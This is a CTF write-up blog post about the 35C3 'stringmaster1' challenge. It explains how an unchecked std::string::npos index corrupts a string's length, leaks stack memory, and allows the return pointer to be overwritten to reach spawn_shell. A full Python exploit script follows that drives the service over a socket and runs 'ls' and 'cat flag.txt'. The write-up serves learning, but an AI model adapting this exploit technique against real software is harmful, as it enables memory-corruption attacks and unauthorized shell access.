Introduction
As this task is one category higher than the last one (very easy -> easy), I wrote a separate blog post about std::string, as some knowledge about it would be required for this task and I assume you’ve already read it.
Link:
https://dbeef.lol/2019/01/20/stdstring/
After cd-ing to this task’s distrib directory we’ll see a binary and cpp source code, from which we know, that this binary already provides spawn_shell function, though does not call it anywhere, and consists of 2 other functions – play() and main():
As play function contains much boilerplate, I’ll omit the noise and post only the most important code from which we’ll deduce a vector of attack:
Before I tell you how to exploit a vulnerability that is visible on this picture, let’s first run the binary to show what it prints:
As you see, it’s a simple game of making two strings equal by gradually replacing/swapping characters.
Now, going back to the code from the image before – you may have already noticed, that the “replace” command does not provide any sanitization of returned index! If you input a character that does not exist in the string the program searches, it’s going to return std::string::npos, which is 8 bytes, 0xFFFFFFFFFFFFFFFF.
That means, that if we try to access
[string’s data pointer address] + [0xFFFFFFFFFFFFFFFF]
we’re going to end up with…
[string’s data pointer address] – minus one byte!
If you don’t get it, I explained pointer overflow in the post linked above.
As a consequence, we’re going to end up writing in string’s length field’s last byte. That will make string’s length to hold ridiculously high value, and allow us to print more information with “print” command:
You may wonder – what use do I have from this seemingly random data?
Vector of attack – return pointer overflow
This data provides us 2 important facts:
- position of return pointer from play function;
we’ll inject address of spawn_shell there. - position and value of a set of bytes that we could use with “swap” command;
we’ll use them to swap bytes of play’s return pointer
Of course, we won’t do this manually as it’s too cumbersome. We’ll write a python script for that, but before, we’ll need 2 another facts that gdb’s going to provide:
- spawn_shell address
- address of instruction that comes just after call to play function in main function; it’s going to be the value of return pointer in play function – from that fact we’ll know which bytes to swap to make it return to spawn_shell instead
First one is a simple matter of:
spawn_shell’s address is 0x00000000004011a7 (left padded to 16 bytes since it’s x86_64 platform I’m working on).
In the second one, we’ve got to disassemble main and find the call to the play function:
As you see, return pointer value’s going to be 0x000000000040246d.
Now we have all the information we need; it’s time for the python script.
I won’t comment about it much since it’s self-commenting, but the algorithm is:
- Connect to program (it’s running on a Docker image on port 22224)
- Wait untill it sends the command prompt text (and do it every sending of some command)
- Send ‘replace X a’ – X since there are no upper case characters in those strings so it’s always safe to pick one of those – ‘a’ since the program seemingly doesn’t crush that much with replacing with a’s – but it’s only arbitrary taken character, any other will do.
- Send ‘print’ request to get info of what is after string’s local data pointer
- Find index of return pointer (0x40246d) in what ‘print’ returned – I found it manually by printing hex of returned data to console before writing the rest of the script and just hardcoded it, but one can easily code searching for.
- Find indexes of 0x40, 0x11, 0xa7 bytes. There’s a chance they will be somewhere in program’s memory, there’s a chance they won’t. If not, just restart the exploit, since the stringmaster1 binary is re-spawned every connection.
- Replace return pointer bytes with bytes from indexes we’ve found in the last step
- Print ‘exit’ to make it return to spawn_shell
- Send ‘ls’
- Send ‘cat flag.txt’
- Pwned
Final attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
HOST = '127.0.0.1' | |
PORT = 22224 | |
# Indexes of bytes that will be swapped to represent spawn_shell address. | |
# They may be in the memory proceeding string's local data pointer, | |
# or they may not – depends on luck. If not, retry. | |
index_0x40 = -1 | |
index_0x11 = -1 | |
index_0xa7 = -1 | |
# Memory addresses on which swapping with indexes above will be called, | |
# to overwrite return pointer from play() function. | |
# We're placing those bytes in reversed order. | |
# Base offset represents offset from local data pointer in multiples of 8 bytes. | |
base_offset = 17 | |
offset_0xa7 = (base_offset * 8) | |
offset_0x11 = (base_offset * 8) + 1 | |
offset_0x40 = (base_offset * 8) + 2 | |
# Last retrieved input from stringmaster1 program, as an array of byte arrays. | |
# ex. [b'\x00\x00\x00\x00, b'\x11\x11\x23\x32\x53] … etc] | |
# It's randomly split into chunks, but from experience I can tell that the | |
# first chunk after 'print' will always be the data proceeding local data pointer. | |
byte_arr_input = [] | |
# Last retrieved input from stringmaster1 program, as a single UTF-8 string. | |
# Characters that are not recognized as a UTF-8 character will be replaced by | |
# U+FFFD replacement character. | |
string_input = '' | |
# Set to true, when expecting shell output to be printed. | |
shell_expected = False | |
def send_replace(s): | |
command = 'replace X a\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
def send_print(s): | |
command = 'print\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
def send_swap_0x40(s): | |
global index_0x11 | |
global index_0xa7 | |
global index_0x40 | |
print('*** Full Data ***') | |
print(str(byte_arr_input)) | |
print('*** Analyzed data ***') | |
# Only the first chunk of retrieved data is going to by analyzed, since it contains data we requested, without | |
# the command prompt text ('Enter the command you want to execute:' … etc) | |
analyzed_bytes = byte_arr_input[0] | |
print(str(analyzed_bytes)) | |
print_hex_formatted(analyzed_bytes) | |
print('*** End of data ***') | |
index_0x40 = search_for_index(0x40, analyzed_bytes) | |
index_0x11 = search_for_index(0x11, analyzed_bytes) | |
index_0xa7 = search_for_index(0xa7, analyzed_bytes) | |
print('0x40: ' + str(index_0x40)) | |
print('0x11: ' + str(index_0x11)) | |
print('0xa7: ' + str(index_0xa7)) | |
if index_0x40 == -1 or index_0x11 == -1 or index_0xa7 == -1: | |
print('Indexes not found.') | |
exit(0) | |
else: | |
print('Indexes found:') | |
command = 'swap ' + str(offset_0x40) + ' ' + str(index_0x40) + '\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
def send_quit(s): | |
# Printing bytes again for debug purposes, to make sure | |
# bytes we wanted to change were swapped. | |
print('*** Full Data ***') | |
print(str(byte_arr_input)) | |
print('*** Analyzed data ***') | |
analyzed_bytes = byte_arr_input[0] | |
print(str(analyzed_bytes)) | |
print_hex_formatted(analyzed_bytes) | |
print('*** End of data ***') | |
command = 'quit\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
def send_swap_0x11(s): | |
global index_0x11 | |
command = 'swap ' + str(offset_0x11) + ' ' + str(index_0x11) + '\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
def send_ls(s): | |
global shell_expected | |
command = 'ls\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
shell_expected = True | |
def send_cat_flag(s): | |
global shell_expected | |
command = 'cat flag.txt\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
def send_swap_0xa7(s): | |
global index_0xa7 | |
command = 'swap ' + str(offset_0xa7) + ' ' + str(index_0xa7) + '\n' | |
print(command) | |
s.sendall(command.encode('ASCII')) | |
def exec_next_function(client): | |
global current_command | |
global commands | |
if current_command < len(commands): | |
commands[current_command](client) | |
current_command += 1 | |
return True | |
else: | |
return False | |
def wait_for_input(client): | |
global byte_arr_input | |
global string_input | |
byte_arr_input.clear() | |
# If shell command output is expected, just read any portion of data that is ready, | |
# don't look for any line-ending phrases. | |
if shell_expected: | |
print('> Shell expected.') | |
bytes = client.recv(1024) | |
byte_arr_input.append(bytes) | |
string_input += bytes.decode('UTF-8', 'replace') | |
else: | |
while ((string_input.find('\n>') == -1) or (string_input.find('[4] quit') == -1)) and \ | |
(string_input.find('You lost.') == -1): | |
bytes = client.recv(1024) | |
byte_arr_input.append(bytes) | |
string_input += bytes.decode('UTF-8', 'replace') | |
print(string_input) | |
string_input = '' | |
def print_hex_formatted(arr): | |
offset = len(arr) | |
line = 1 | |
while offset > 0: | |
string = 'line: ' + str(line).zfill(3) + ': ' | |
if offset >= 8: | |
for a in range(0, 8): | |
string += '0x' + hex(arr[a + (line – 1) * 8]).replace('0x', '').ljust(2, '0') + ' ' | |
else: | |
for a in range(0, offset): | |
string += '0x' + hex(arr[a + (line – 1) * 8]).replace('0x', '').ljust(2, '0') + ' ' | |
print(string) | |
offset -= 8 | |
line += 1 | |
def search_for_index(char, arr): | |
for a in range(0, len(arr)): | |
if arr[a] == char: | |
return a | |
return -1 | |
current_command = 0 | |
commands = [ | |
send_replace, | |
send_print, | |
send_swap_0x40, | |
send_swap_0x11, | |
send_swap_0xa7, | |
send_print, | |
send_quit, | |
send_ls, | |
send_cat_flag | |
] | |
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client: | |
client.connect((HOST, PORT)) | |
more_functions = True | |
while True: | |
wait_for_input(client) | |
if not more_functions: | |
break | |
else: | |
more_functions = exec_next_function(client) | |
print('Exiting…') |
Summary
Docker was convenient, but I’ll try to implement hacking the binary without docker; hooking python script to stdout, without sockets, just for further experiments.
Also, my python skills need some improvement.
One thought on “My 35C3 CTF writeup III – stringmaster1”